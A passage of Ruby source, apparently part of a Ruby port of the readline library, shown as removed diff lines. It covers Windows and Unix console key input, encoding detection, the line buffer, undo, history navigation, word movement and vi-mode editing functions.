"I" => DL::TYPE_LONG} - # - # def initialize(dllname, func, import, export = "0", calltype = :stdcall) - # @proto = [import].join.tr("VPpNnLlIi", "0SSI").sub(/^(.)0*$/, '\1') - # handle = DLL[dllname] ||= DL.dlopen(dllname) - # @func = DL::CFunc.new(handle[func], TYPEMAP[export.tr("VPpNnLlIi", "0SSI")], func, calltype) - # end - # - # def call(*args) - # import = @proto.split("") - # args.each_with_index do |x, i| - # args[i], = [x == 0 ? nil : x].pack("p").unpack("l!*") if import[i] == "S" - # args[i], = [x].pack("I").unpack("i") if import[i] == "I" - # end - # ret, = @func.call(args) - # return ret || 0 - # end - # - # alias Call call - # end - #end - - STD_OUTPUT_HANDLE = -11 - STD_INPUT_HANDLE = -10 - KEY_EVENT = 1 - VK_SHIFT = 0x10 - VK_MENU = 0x12 - VK_LMENU = 0xA4 - VK_RMENU = 0xA5 - - LEFT_CTRL_PRESSED = 0x0008 - RIGHT_CTRL_PRESSED = 0x0004 - LEFT_ALT_PRESSED = 0x0002 - RIGHT_ALT_PRESSED = 0x0001 - - @getch = Win32API.new("msvcrt", "_getch", [], 'I') - @kbhit = Win32API.new("msvcrt", "_kbhit", [], 'I') - @GetStdHandle = Win32API.new("kernel32","GetStdHandle",['L'],'L') - @SetConsoleCursorPosition = Win32API.new("kernel32","SetConsoleCursorPosition",['L','L'],'L') - @GetConsoleScreenBufferInfo = Win32API.new("kernel32","GetConsoleScreenBufferInfo",['L','P'],'L') - @FillConsoleOutputCharacter = Win32API.new("kernel32","FillConsoleOutputCharacter",['L','L','L','L','P'],'L') - @ReadConsoleInput = Win32API.new( "kernel32", "ReadConsoleInput", ['L', 'P', 'L', 'P'], 'L' ) - @MessageBeep = Win32API.new("user32","MessageBeep",['L'],'L') - @GetKeyboardState = Win32API.new("user32","GetKeyboardState",['P'],'L') - @GetKeyState = Win32API.new("user32","GetKeyState",['L'],'L') - @hConsoleHandle = @GetStdHandle.Call(STD_OUTPUT_HANDLE) - @hConsoleInput = @GetStdHandle.Call(STD_INPUT_HANDLE) - @pending_count = 0 - @pending_key = nil - - begin - case `chcp`.scan(/\d+$/).first.to_i - when 936,949,950,51932,51936,50225 - @encoding = "E" - when 932,50220,50221,20222 - @encoding = "S" - when 65001 - @encoding = "U" - else - @encoding = "N" - end - rescue - @encoding = "N" - end - - def rl_getc(stream) - while (@kbhit.Call == 0) - # If there is no input, yield the processor for other threads - sleep(@_keyboard_input_timeout) - end - c = @getch.Call - alt = (@GetKeyState.call(VK_LMENU) & 0x80) != 0 - if c==0 || c==0xE0 - while (@kbhit.Call == 0) - # If there is no input, yield the processor for other threads - sleep(@_keyboard_input_timeout) - end - r = c.chr + @getch.Call.chr - else - r = c.chr - end - r = "\e"+r if alt - r - end - - def rl_gather_tyi() - chars_avail = @kbhit.Call - return 0 if(chars_avail<=0) - k = send(@rl_getc_function,@rl_instream) - rl_stuff_char(k) - return 1 - end - - rescue LoadError # If we're not on Windows try... - - if ENV["LANG"] =~ /\.UTF-8/ - @encoding = "U" - elsif ENV["LANG"] =~ /\.EUC/ - @encoding = "E" - elsif ENV["LANG"] =~ /\.SHIFT/ - @encoding = "S" - else - @encoding = "N" - end - - def rl_getc(stream) - begin - c = stream.read(1) - rescue Errno::EINTR - c = rl_getc(stream) - end - return c ? c : EOF - end - - def rl_gather_tyi() - chars_avail = 0 - result = select([@rl_instream],nil,nil,0.1) - return 0 if result.nil? - k = send(@rl_getc_function,@rl_instream) - rl_stuff_char(k) - return 1 - end - end - - if (Object.const_defined?('Encoding') and Encoding.respond_to?('default_external')) - @encoding = "X" # ruby 1.9.x or greater - @encoding_name = Encoding.default_external.to_s - end - - @rl_byte_oriented = @encoding == "N" - - # Read a key, including pending input. - def rl_read_key() - @rl_key_sequence_length+=1 - - if (@rl_pending_input!=0) - c = @rl_pending_input - rl_clear_pending_input() - else - # If the user has an event function, then call it periodically. - if (@rl_event_hook) - while (@rl_event_hook && (c=rl_get_char()).nil?) - - send(@rl_event_hook) - if (@rl_done) # XXX - experimental - return ("\n") - end - if (rl_gather_tyi() < 0) # XXX - EIO - @rl_done = true - return ("\n") - end - end - - else - - if (c=rl_get_char()).nil? - c = send(@rl_getc_function,@rl_instream) - end - end - end - - return (c) - end - - - # Return the amount of space available in the buffer for stuffing - # characters. - def ibuffer_space() - if (@pop_index > @push_index) - return (@pop_index - @push_index - 1) - else - return (@ibuffer_len - (@push_index - @pop_index)) - end - end - - # Get a key from the buffer of characters to be read. - # Return the key in KEY. - # Result is KEY if there was a key, or 0 if there wasn't. - def rl_get_char() - if (@push_index == @pop_index) - return nil - end - key = @ibuffer[@pop_index] - @pop_index += 1 - - if (@pop_index >= @ibuffer_len) - @pop_index = 0 - end - - return key - end - - # Stuff KEY into the *front* of the input buffer. - # Returns non-zero if successful, zero if there is - # no space left in the buffer. - def _rl_unget_char(key) - if (ibuffer_space()!=0) - @pop_index-=1 - if (@pop_index < 0) - @pop_index = @ibuffer_len - 1 - end - @ibuffer[@pop_index] = key - return (1) - end - return (0) - end - - def _rl_subseq_getchar(key) - if (key == ESC) - rl_setstate(RL_STATE_METANEXT) - end - rl_setstate(RL_STATE_MOREINPUT) - k = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - if (key == ESC) - rl_unsetstate(RL_STATE_METANEXT) - end - - return k - end - - # Clear to the end of the line. COUNT is the minimum - # number of character spaces to clear, - def _rl_clear_to_eol(count) - if (@_rl_term_clreol) - @rl_outstream.write(@_rl_term_clreol) - elsif (count!=0) - space_to_eol(count) - end - end - - # Clear to the end of the line using spaces. COUNT is the minimum - # number of character spaces to clear, - def space_to_eol(count) - if @hConsoleHandle - csbi = 0.chr * 24 - @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi) - cursor_pos = csbi[4,4].unpack('L').first - written = 0.chr * 4 - @FillConsoleOutputCharacter.Call(@hConsoleHandle,0x20,count,cursor_pos,written) - else - @rl_outstream.write(' ' * count) - end - @_rl_last_c_pos += count - end - - def _rl_clear_screen() - if (@_rl_term_clrpag) - @rl_outstream.write(@_rl_term_clrpag) - else - rl_crlf() - end - end - - # Move the cursor back. - def _rl_backspace(count) - if (@_rl_term_backspace) - @_rl_out_stream.write(@_rl_term_backspace * count) - else - @_rl_out_stream.write("\b"*count) - end - 0 - end - - # Move to the start of the next line. - def rl_crlf() - if (@_rl_term_cr) - @_rl_out_stream.write(@_rl_term_cr) - end - @_rl_out_stream.write("\n") - return 0 - end - - # Move to the start of the current line. - def cr() - if (@_rl_term_cr) - @_rl_out_stream.write(@_rl_term_cr) - @_rl_last_c_pos = 0 - end - end - - def _rl_erase_entire_line() - cr() - _rl_clear_to_eol(0) - cr() - @rl_outstream.flush - end - - def _rl_internal_char_cleanup() - # In vi mode, when you exit insert mode, the cursor moves back - # over the previous character. We explicitly check for that here. - if (@rl_editing_mode == @vi_mode && @_rl_keymap == @vi_movement_keymap) - rl_vi_check() - end - - if (@rl_num_chars_to_read!=0 && @rl_end >= @rl_num_chars_to_read) - send(@rl_redisplay_function) - @_rl_want_redisplay = false - rl_newline(1, "\n") - end - - if (!@rl_done) - send(@rl_redisplay_function) - @_rl_want_redisplay = false - end - - # If the application writer has told us to erase the entire line if - # the only character typed was something bound to rl_newline, do so. - if (@rl_erase_empty_line && @rl_done && @rl_last_func == :rl_newline && - @rl_point == 0 && @rl_end == 0) - _rl_erase_entire_line() - end - end - - def readline_internal_charloop() - lastc = -1 - eof_found = false - - while (!@rl_done) - lk = @_rl_last_command_was_kill - - # send(rl_redisplay_function) - # @_rl_want_redisplay = false - - if (@rl_pending_input == 0) - # Then initialize the argument and number of keys read. - _rl_reset_argument() - @rl_key_sequence_length = 0 - end - - rl_setstate(RL_STATE_READCMD) - c = rl_read_key() - rl_unsetstate(RL_STATE_READCMD) - # look at input.c:rl_getc() for the circumstances under which this will - #be returned; punt immediately on read error without converting it to - #a newline. - if (c == READERR) - eof_found = true - break - end - - # EOF typed to a non-blank line is a <NL>. - if (c == EOF && @rl_end!=0) - c = NEWLINE - end - - # The character _rl_eof_char typed to blank line, and not as the - #previous character is interpreted as EOF. - if (((c == @_rl_eof_char && lastc != c) || c == EOF) && @rl_end==0) - eof_found = true - break - end - lastc = c - if _rl_dispatch(c, @_rl_keymap)== -1 - next - end - - # If there was no change in _rl_last_command_was_kill, then no kill - #has taken place. Note that if input is pending we are reading - #a prefix command, so nothing has changed yet. - if (@rl_pending_input == 0 && lk == @_rl_last_command_was_kill) - @_rl_last_command_was_kill = false - end - _rl_internal_char_cleanup() - end - - eof_found - end - - # How to abort things. - def _rl_abort_internal() - rl_ding() - rl_clear_message() - _rl_reset_argument() - rl_clear_pending_input() - - rl_unsetstate(RL_STATE_MACRODEF) - - @rl_last_func = nil - #throw :readline_top_level - send(@rl_redisplay_function) - @_rl_want_redisplay = false - 0 - end - - def rl_abort(count, key) - _rl_abort_internal() - end - - def rl_vi_check() - if (@rl_point!=0 && @rl_point == @rl_end) - @rl_point-=1 - end - 0 - end - - def readline_internal_teardown(eof) - # Restore the original of this history line, iff the line that we - # are editing was originally in the history, AND the line has changed. - entry = current_history() - - if (entry && @rl_undo_list) - temp = @rl_line_buffer.delete(0.chr).dup - rl_revert_line(1, 0) - entry = replace_history_entry(where_history(), @rl_line_buffer, nil) - entry = nil - - @rl_line_buffer = temp+0.chr - temp = nil - end - - # At any rate, it is highly likely that this line has an undo list. Get - # rid of it now. - if (@rl_undo_list) - rl_free_undo_list() - end - # Restore normal cursor, if available. - _rl_set_insert_mode(RL_IM_INSERT, 0) - - (eof ? nil : @rl_line_buffer.delete(0.chr)) - end - - # Read a line of input from the global rl_instream, doing output on - # the global rl_outstream. - # If rl_prompt is non-null, then that is our prompt. - def readline_internal() - readline_internal_setup() - eof = readline_internal_charloop() - readline_internal_teardown(eof) - end - - # Read a line of input. Prompt with PROMPT. An empty PROMPT means - # none. A return value of NULL means that EOF was encountered. - def readline(prompt) - # If we are at EOF return a NULL string. - if (@rl_pending_input == EOF) - rl_clear_pending_input() - return nil - end - - rl_set_prompt(prompt) - - rl_initialize() - @readline_echoing_p = true - if (@rl_prep_term_function) - send(@rl_prep_term_function,@_rl_meta_flag) - end - rl_set_signals() - - value = readline_internal() - if(@rl_deprep_term_function) - send(@rl_deprep_term_function) - end - - rl_clear_signals() - - value - end - - # Increase the size of RL_LINE_BUFFER until it has enough space to hold - # LEN characters. - def rl_extend_line_buffer(len) - while (len >= @rl_line_buffer.length) - @rl_line_buffer << 0.chr * DEFAULT_BUFFER_SIZE - end - @the_line = @rl_line_buffer - end - - # Insert a string of text into the line at point. This is the only - # way that you should do insertion. _rl_insert_char () calls this - # function. Returns the number of characters inserted. - def rl_insert_text(string) - string.delete!(0.chr) - l = string.length - return 0 if (l == 0) - - if (@rl_end + l >= @rl_line_buffer.length) - rl_extend_line_buffer(@rl_end + l) - end - @rl_line_buffer[@rl_point,0] = string - - # Remember how to undo this if we aren't undoing something. - if (!@_rl_doing_an_undo) - # If possible and desirable, concatenate the undos. - if ((l == 1) && - @rl_undo_list && - (@rl_undo_list.what == UNDO_INSERT) && - (@rl_undo_list.end == @rl_point) && - (@rl_undo_list.end - @rl_undo_list.start < 20)) - @rl_undo_list.end+=1 - else - rl_add_undo(UNDO_INSERT, @rl_point, @rl_point + l, nil) - end - end - @rl_point += l - @rl_end += l - if @rl_line_buffer.length <= @rl_end - @rl_line_buffer << 0.chr * (@rl_end - @rl_line_buffer.length + 1) - else - @rl_line_buffer[@rl_end] = "\0" - end - l - end - - def alloc_undo_entry(what, start, _end, text) - temp = Struct.new(:what,:start,:end,:text,:next).new - temp.what = what - temp.start = start - temp.end = _end - temp.text = text - temp.next = nil - temp - end - - #* Remember how to undo something. Concatenate some undos if that - # seems right. - def rl_add_undo(what, start, _end, text) - temp = alloc_undo_entry(what, start, _end, text) - temp.next = @rl_undo_list - @rl_undo_list = temp - end - - - # Delete the string between FROM and TO. FROM is inclusive, TO is not. - # Returns the number of characters deleted. - def rl_delete_text(from, to) - - # Fix it if the caller is confused. - if (from > to) - from,to = to,from - end - - # fix boundaries - if (to > @rl_end) - to = @rl_end - if (from > to) - from = to - end - end - if (from < 0) - from = 0 - end - text = rl_copy_text(from, to) - diff = to - from - @rl_line_buffer[from...to] = '' - @rl_line_buffer << 0.chr * diff - # Remember how to undo this delete. - if (!@_rl_doing_an_undo) - rl_add_undo(UNDO_DELETE, from, to, text) - else - text = nil - end - @rl_end -= diff - @rl_line_buffer[@rl_end] = 0.chr - return (diff) - end - - def rl_copy_text(from, to) - return @rl_line_buffer[from...to] - end - - # Fix up point so that it is within the line boundaries after killing - # text. If FIX_MARK_TOO is non-zero, the mark is forced within line - # boundaries also. - - def __rl_fix_point(x) - if (x > @rl_end) - @rl_end - elsif (x < 0) - 0 - else - x - end - end - - def _rl_fix_point(fix_mark_too) - @rl_point = __rl_fix_point(@rl_point) - if (fix_mark_too) - @rl_mark = __rl_fix_point(@rl_mark) - end - end - - # Begin a group. Subsequent undos are undone as an atomic operation. - def rl_begin_undo_group() - rl_add_undo(UNDO_BEGIN, 0, 0, nil) - @_rl_undo_group_level+=1 - 0 - end - - # End an undo group started with rl_begin_undo_group (). - def rl_end_undo_group() - rl_add_undo(UNDO_END, 0, 0, nil) - @_rl_undo_group_level-=1 - 0 - end - - def rl_free_undo_list() - replace_history_data(-1, @rl_undo_list, nil) - @rl_undo_list = nil - end - - # Replace the contents of the line buffer between START and END with - # TEXT. The operation is undoable. To replace the entire line in an - # undoable mode, use _rl_replace_text(text, 0, rl_end) - def _rl_replace_text(text, start, _end) - rl_begin_undo_group() - rl_delete_text(start, _end + 1) - @rl_point = start - n = rl_insert_text(text) - rl_end_undo_group() - n - end - - # Replace the current line buffer contents with TEXT. If CLEAR_UNDO is - # non-zero, we free the current undo list. - def rl_replace_line(text, clear_undo) - len = text.delete(0.chr).length - @rl_line_buffer = text.dup + 0.chr - @rl_end = len - if (clear_undo) - rl_free_undo_list() - end - _rl_fix_point(true) - end - - - # Replace the DATA in the specified history entries, replacing OLD with - # NEW. WHICH says which one(s) to replace: WHICH == -1 means to replace - # all of the history entries where entry->data == OLD; WHICH == -2 means - # to replace the `newest' history entry where entry->data == OLD; and - # WHICH >= 0 means to replace that particular history entry's data, as - # long as it matches OLD. - def replace_history_data(which,old, new) - new = new.dup if new - if (which < -2 || which >= @history_length || @history_length == 0 || @the_history.nil?) - return - end - if (which >= 0) - entry = @the_history[which] - if (entry && entry.data == old) - entry.data = new - end - return - end - - last = -1 - for i in 0 ... @history_length - entry = @the_history[i] - if entry.nil? - next - end - if (entry.data == old) - last = i - if (which == -1) - entry.data = new - end - end - end - if (which == -2 && last >= 0) - entry = @the_history[last] - entry.data = new # XXX - we don't check entry->old - end - end - - # Move forward COUNT bytes. - def rl_forward_byte(count, key) - if (count < 0) - return (rl_backward_byte(-count, key)) - end - if (count > 0) - _end = @rl_point + count - lend = @rl_end > 0 ? @rl_end - ((@rl_editing_mode == @vi_mode)?1:0) : @rl_end - if (_end > lend) - @rl_point = lend - rl_ding() - else - @rl_point = _end - end - end - - if (@rl_end < 0) - @rl_end = 0 - end - return 0 - end - - # Move forward COUNT characters. - def rl_forward_char(count, key) - if @rl_byte_oriented - return (rl_forward_byte(count, key)) - end - if (count < 0) - return (rl_backward_char(-count, key)) - end - if (count > 0) - point = _rl_find_next_mbchar(@rl_line_buffer, @rl_point, count, MB_FIND_NONZERO) - if (@rl_end <= point && @rl_editing_mode == @vi_mode) - point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_end, MB_FIND_NONZERO) - end - if (@rl_point == point) - rl_ding() - end - @rl_point = point - if (@rl_end < 0) - @rl_end = 0 - end - end - 0 - end - - # Backwards compatibility. - def rl_forward(count, key) - rl_forward_char(count, key) - end - - # Move backward COUNT bytes. - def rl_backward_byte(count, key) - if (count < 0) - return (rl_forward_byte(-count, key)) - end - if (count > 0) - if (@rl_point < count) - @rl_point = 0 - rl_ding() - else - @rl_point -= count - end - end - - if (@rl_point < 0) - @rl_point = 0 - end - 0 - end - - # Move backward COUNT characters. - def rl_backward_char(count, key) - if @rl_byte_oriented - return (rl_backward_byte(count, key)) - end - if (count < 0) - return (rl_forward_char(-count, key)) - end - - if (count > 0) - point = @rl_point - while (count > 0 && point > 0) - point = _rl_find_prev_mbchar(@rl_line_buffer, point, MB_FIND_NONZERO) - count-=1 - end - if (count > 0) - @rl_point = 0 - rl_ding() - else - @rl_point = point - end - end - 0 - end - - # Backwards compatibility. - def rl_backward(count, key) - rl_backward_char(count, key) - end - - # Move to the beginning of the line. - def rl_beg_of_line(count, key) - @rl_point = 0 - 0 - end - - # Move to the end of the line. - def rl_end_of_line(count, key) - @rl_point = @rl_end - 0 - end - - def _rl_char_value(buf,ind) - buf[ind,1] - end - - @_rl_allow_pathname_alphabetic_chars = false - @pathname_alphabetic_chars = '/-_=~.#$' - - def rl_alphabetic(c) - if c =~ /\w/ - return true - end - - return !!(@_rl_allow_pathname_alphabetic_chars && - @pathname_alphabetic_chars[c]) - end - - def _rl_walphabetic(c) - rl_alphabetic(c) - end - - # Move forward a word. We do what Emacs does. Handles multibyte chars. - def rl_forward_word(count, key) - if (count < 0) - return (rl_backward_word(-count, key)) - end - - while (count>0) - return 0 if (@rl_point == @rl_end) - - # If we are not in a word, move forward until we are in one. - # Then, move forward until we hit a non-alphabetic character. - c = _rl_char_value(@rl_line_buffer, @rl_point) - - if (!_rl_walphabetic(c)) - if !@rl_byte_oriented - @rl_point = _rl_find_next_mbchar(@rl_line_buffer, @rl_point, 1, MB_FIND_NONZERO) - else - @rl_point += 1 - end - while (@rl_point < @rl_end) - c = _rl_char_value(@rl_line_buffer, @rl_point) - if (_rl_walphabetic(c)) - break - end - if !@rl_byte_oriented - @rl_point = _rl_find_next_mbchar(@rl_line_buffer, @rl_point, 1, MB_FIND_NONZERO) - else - @rl_point += 1 - end - end - end - - return 0 if (@rl_point == @rl_end) - - if !@rl_byte_oriented - @rl_point = _rl_find_next_mbchar(@rl_line_buffer, @rl_point, 1, MB_FIND_NONZERO) - else - @rl_point += 1 - end - while (@rl_point < @rl_end) - c = _rl_char_value(@rl_line_buffer, @rl_point) - if (!_rl_walphabetic(c)) - break - end - if !@rl_byte_oriented - @rl_point = _rl_find_next_mbchar(@rl_line_buffer, @rl_point, 1, MB_FIND_NONZERO) - else - @rl_point += 1 - end - end - count -= 1 - end - 0 - end - - # Move backward a word. We do what Emacs does. Handles multibyte chars. - def rl_backward_word(count, key) - if (count < 0) - return (rl_forward_word(-count, key)) - end - while (count>0) - return 0 if (@rl_point == 0) - - # Like rl_forward_word (), except that we look at the characters - # just before point. - _p = !@rl_byte_oriented ? _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO):(@rl_point-1) - c = _rl_char_value(@rl_line_buffer, _p) - if (!_rl_walphabetic(c)) - @rl_point = _p - while (@rl_point > 0) - _p = !@rl_byte_oriented ? _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO):(@rl_point-1) - c = _rl_char_value(@rl_line_buffer, _p) - if (_rl_walphabetic(c)) - break - end - @rl_point = _p - end - end - while (@rl_point>0) - _p = !@rl_byte_oriented ? _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO):(@rl_point-1) - c = _rl_char_value(@rl_line_buffer, _p) - if (!_rl_walphabetic(c)) - break - else - @rl_point = _p - end - end - count -= 1 - end - 0 - end - - # return the `current display line' of the cursor -- the number of lines to - # move up to get to the first screen line of the current readline line. - def _rl_current_display_line() - # Find out whether or not there might be invisible characters in the - # editing buffer. - if (@rl_display_prompt == @rl_prompt) - nleft = @_rl_last_c_pos - @_rl_screenwidth - @rl_visible_prompt_length - else - nleft = @_rl_last_c_pos - @_rl_screenwidth - end - - if (nleft > 0) - ret = 1 + nleft / @_rl_screenwidth - else - ret = 0 - end - - ret - end - - # Actually update the display, period. - def rl_forced_update_display() - if (@visible_line) - @visible_line.gsub!(/[^\x00]/n,0.chr) - end - rl_on_new_line() - @forced_display=true if !@forced_display - send(@rl_redisplay_function) - 0 - end - - - # Clear the current line. Numeric argument to C-l does this. - def rl_refresh_line(ignore1, ignore2) - curr_line = _rl_current_display_line() - - _rl_move_vert(curr_line) - _rl_move_cursor_relative(0, @rl_line_buffer) # XXX is this right - - _rl_clear_to_eol(0) # arg of 0 means to not use spaces - - rl_forced_update_display() - @rl_display_fixed = true - - 0 - end - - # C-l typed to a line without quoting clears the screen, and then reprints - # the prompt and the current input line. Given a numeric arg, redraw only - # the current line. - def rl_clear_screen(count, key) - if (@rl_explicit_arg) - rl_refresh_line(count, key) - return 0 - end - - _rl_clear_screen() # calls termcap function to clear screen - rl_forced_update_display() - @rl_display_fixed = true - 0 - end - - # Restore the _rl_saved_line_for_history if there is one. - def rl_maybe_unsave_line() - if (@_rl_saved_line_for_history) - # Can't call with `1' because rl_undo_list might point to an undo - # list from a history entry, as in rl_replace_from_history() below. - rl_replace_line(@_rl_saved_line_for_history.line, false) - @rl_undo_list = @_rl_saved_line_for_history.data - @_rl_saved_line_for_history = nil - @rl_point = @rl_end # rl_replace_line sets rl_end - else - rl_ding() - end - 0 - end - - # Save the current line in _rl_saved_line_for_history. - def rl_maybe_save_line() - if @_rl_saved_line_for_history.nil? - @_rl_saved_line_for_history = Struct.new(:line,:timestamp,:data).new - @_rl_saved_line_for_history.line = @rl_line_buffer.dup - @_rl_saved_line_for_history.timestamp = nil - @_rl_saved_line_for_history.data = @rl_undo_list - end - 0 - end - - # Returns the magic number which says what history element we are - # looking at now. In this implementation, it returns history_offset. - def where_history() - @history_offset - end - - # Make the history entry at WHICH have LINE and DATA. This returns - # the old entry so you can dispose of the data. In the case of an - # invalid WHICH, a NULL pointer is returned. - def replace_history_entry (which, line, data) - if (which < 0 || which >= @history_length) - return nil - end - temp = Struct.new(:line,:timestamp,:data).new - old_value = @the_history[which] - temp.line = line.delete(0.chr) - temp.data = data - temp.timestamp = old_value.timestamp.dup - @the_history[which] = temp - old_value - end - - # Perhaps put back the current line if it has changed. - def rl_maybe_replace_line() - temp = current_history() - # If the current line has changed, save the changes. - if (temp && temp.data != @rl_undo_list) - temp = replace_history_entry(where_history(), @rl_line_buffer, @rl_undo_list) - end - 0 - end - - # Back up history_offset to the previous history entry, and return - # a pointer to that entry. If there is no previous entry then return - # a NULL pointer. - def previous_history() - @history_offset!=0 ? @the_history[@history_offset-=1] : nil - end - - # Move history_offset forward to the next history entry, and return - # a pointer to that entry. If there is no next entry then return a - # NULL pointer. - def next_history() - (@history_offset == @history_length) ? nil : @the_history[@history_offset+=1] - end - - # Get the previous item out of our interactive history, making it the current - # line. If there is no previous history, just ding. - def rl_get_previous_history(count, key) - if (count < 0) - return (rl_get_next_history(-count, key)) - end - if (count == 0) - return 0 - end - # either not saved by rl_newline or at end of line, so set appropriately. - if (@_rl_history_saved_point == -1 && (@rl_point!=0 || @rl_end!=0)) - @_rl_history_saved_point = (@rl_point == @rl_end) ? -1 : @rl_point - end - - # If we don't have a line saved, then save this one. - rl_maybe_save_line() - - # If the current line has changed, save the changes. - rl_maybe_replace_line() - - temp = old_temp = nil - while (count>0) - temp = previous_history() - if temp.nil? - break - end - old_temp = temp - count -= 1 - end - - # If there was a large argument, and we moved back to the start of the - # history, that is not an error. So use the last value found. - if (temp.nil? && old_temp) - temp = old_temp - end - - if temp.nil? - rl_ding() - else - rl_replace_from_history(temp, 0) - _rl_history_set_point() - end - - 0 - end - - def _rl_history_set_point () - @rl_point = (@_rl_history_preserve_point && @_rl_history_saved_point != -1) ? - @_rl_history_saved_point : @rl_end - if (@rl_point > @rl_end) - @rl_point = @rl_end - end - if (@rl_editing_mode == @vi_mode && @_rl_keymap != @vi_insertion_keymap) - @rl_point = 0 - end - if (@rl_editing_mode == @emacs_mode) - @rl_mark = (@rl_point == @rl_end ? 0 : @rl_end) - end - end - - # Move down to the next history line. - def rl_get_next_history(count, key) - if (count < 0) - return (rl_get_previous_history(-count, key)) - end - if (count == 0) - return 0 - end - rl_maybe_replace_line() - - # either not saved by rl_newline or at end of line, so set appropriately. - if (@_rl_history_saved_point == -1 && (@rl_point!=0 || @rl_end!=0)) - @_rl_history_saved_point = (@rl_point == @rl_end) ? -1 : @rl_point - end - temp = nil - while (count>0) - temp = next_history() - if temp.nil? - break - end - count -= 1 - end - - if temp.nil? - rl_maybe_unsave_line() - else - rl_replace_from_history(temp, 0) - _rl_history_set_point() - end - 0 - end - - def rl_arrow_keys(count, c) - rl_setstate(RL_STATE_MOREINPUT) - ch = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - - case (ch.upcase) - when 'A' - rl_get_previous_history(count, ch) - when 'B' - rl_get_next_history(count, ch) - when 'C' - rl_forward_byte(count, ch) - when 'D' - rl_backward_byte(count, ch) - else - rl_ding() - end - 0 - end - - def _rl_any_typein() - return (@push_index != @pop_index) - end - - def _rl_insert_typein(c) - string = c - - while ((key = rl_get_char()) && - @_rl_keymap[key] == :rl_insert) - string << key - end - if (key) - _rl_unget_char(key) - end - rl_insert_text(string) - end - - # Insert the character C at the current location, moving point forward. - # If C introduces a multibyte sequence, we read the whole sequence and - # then insert the multibyte char into the line buffer. - def _rl_insert_char(count, c) - return 0 if (count <= 0) - - incoming = '' - - if @rl_byte_oriented - incoming << c - incoming_length = 1 - else - @pending_bytes << c - if _rl_get_char_len(@pending_bytes) == -2 - return 1 - else - incoming = @pending_bytes - @pending_bytes = '' - incoming_length = incoming.length - end - end - - if(count>1) - string = incoming * count - rl_insert_text(string) - string = nil - return 0 - end - - if @rl_byte_oriented - # We are inserting a single character. - #If there is pending input, then make a string of all of the - #pending characters that are bound to rl_insert, and insert - #them all. - if (_rl_any_typein()) - _rl_insert_typein(c) - else - rl_insert_text(c) - end - else - rl_insert_text(incoming) - end - - return 0 - end - - # Overwrite the character at point (or next COUNT characters) with C. - # If C introduces a multibyte character sequence, read the entire sequence - # before starting the overwrite loop. - def _rl_overwrite_char(count, c) - - # Read an entire multibyte character sequence to insert COUNT times. - if (count > 0 && !@rl_byte_oriented) - mbkey = '' - k = _rl_read_mbstring(c, mbkey, MB_LEN_MAX) - end - rl_begin_undo_group() - - count.times do - if !@rl_byte_oriented - rl_insert_text(mbkey) - else - _rl_insert_char(1, c) - end - if (@rl_point < @rl_end) - rl_delete(1, c) - end - end - - rl_end_undo_group() - - return 0 - end - - def rl_insert(count, c) - ((@rl_insert_mode == RL_IM_INSERT) ? _rl_insert_char(count, c) : - _rl_overwrite_char(count, c)) - end - - - # Insert the next typed character verbatim. - def _rl_insert_next(count) - rl_setstate(RL_STATE_MOREINPUT) - c = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - - _rl_insert_char(count, c) - end - - def rl_quoted_insert(count, key) - _rl_insert_next(count) - end - - # Insert a tab character. - def rl_tab_insert(count, key) - _rl_insert_char(count, "\t") - end - - def _rl_vi_save_insert(up) - if (up.nil? || up.what != UNDO_INSERT) - if (@vi_insert_buffer_size >= 1) - @vi_insert_buffer[0] = 0.chr - end - return - end - start = up.start - _end = up.end - len = _end - start + 1 - @vi_insert_buffer = @rl_line_buffer[start,len-1] - end - - def _rl_vi_done_inserting() - if (@_rl_vi_doing_insert) - - # The `C', `s', and `S' commands set this. - rl_end_undo_group() - # Now, the text between rl_undo_list->next->start and - # rl_undo_list->next->end is what was inserted while in insert - # mode. It gets copied to VI_INSERT_BUFFER because it depends - # on absolute indices into the line which may change (though they - # probably will not). - @_rl_vi_doing_insert = 0 - _rl_vi_save_insert(@rl_undo_list.next) - @vi_continued_command = 1 - else - if ((@_rl_vi_last_key_before_insert == 'i' || @_rl_vi_last_key_before_insert == 'a') && @rl_undo_list) - _rl_vi_save_insert(@rl_undo_list) - - # XXX - Other keys probably need to be checked. - elsif (@_rl_vi_last_key_before_insert == 'C') - rl_end_undo_group() - end - while (@_rl_undo_group_level > 0) - rl_end_undo_group() - end - @vi_continued_command = 0 - end - end - - # Is the command C a VI mode text modification command? - def _rl_vi_textmod_command(c) - return @vi_textmod[c] - end - - def _rl_vi_reset_last() - @_rl_vi_last_command = 'i' - @_rl_vi_last_repeat = 1 - @_rl_vi_last_arg_sign = 1 - @_rl_vi_last_motion = 0 - end - - def _rl_update_final() - full_lines = false - # If the cursor is the only thing on an otherwise-blank last line, - # compensate so we don't print an extra CRLF. - if (@_rl_vis_botlin && @_rl_last_c_pos == 0 && - @visible_line[@vis_lbreaks[@_rl_vis_botlin],1] == 0.chr ) - @_rl_vis_botlin-=1 - full_lines = true - end - _rl_move_vert(@_rl_vis_botlin) - # If we've wrapped lines, remove the final xterm line-wrap flag. - if (full_lines && @_rl_term_autowrap && (vis_llen(@_rl_vis_botlin) == @_rl_screenwidth)) - last_line = @visible_line[@vis_lbreaks[@_rl_vis_botlin]..-1] - @cpos_buffer_position = -1 # don't know where we are in buffer - _rl_move_cursor_relative(@_rl_screenwidth - 1, last_line) # XXX - _rl_clear_to_eol(0) - @rl_outstream.write(last_line[@_rl_screenwidth - 1,1]) - end - @_rl_vis_botlin = 0 - rl_crlf() - @rl_outstream.flush - @rl_display_fixed = true if !@rl_display_fixed - end - - - # What to do when a NEWLINE is pressed. We accept the whole line. - # KEY is the key that invoked this command. I guess it could have - # meaning in the future. - def rl_newline(count, key) - @rl_done = true - - if (@_rl_history_preserve_point) - @_rl_history_saved_point = (@rl_point == @rl_end) ? 1 : @rl_point - end - rl_setstate(RL_STATE_DONE) - - if (@rl_editing_mode == @vi_mode) - _rl_vi_done_inserting() - if (_rl_vi_textmod_command(@_rl_vi_last_command).nil?) # XXX - _rl_vi_reset_last() - end - end - # If we've been asked to erase empty lines, suppress the final update, - # since 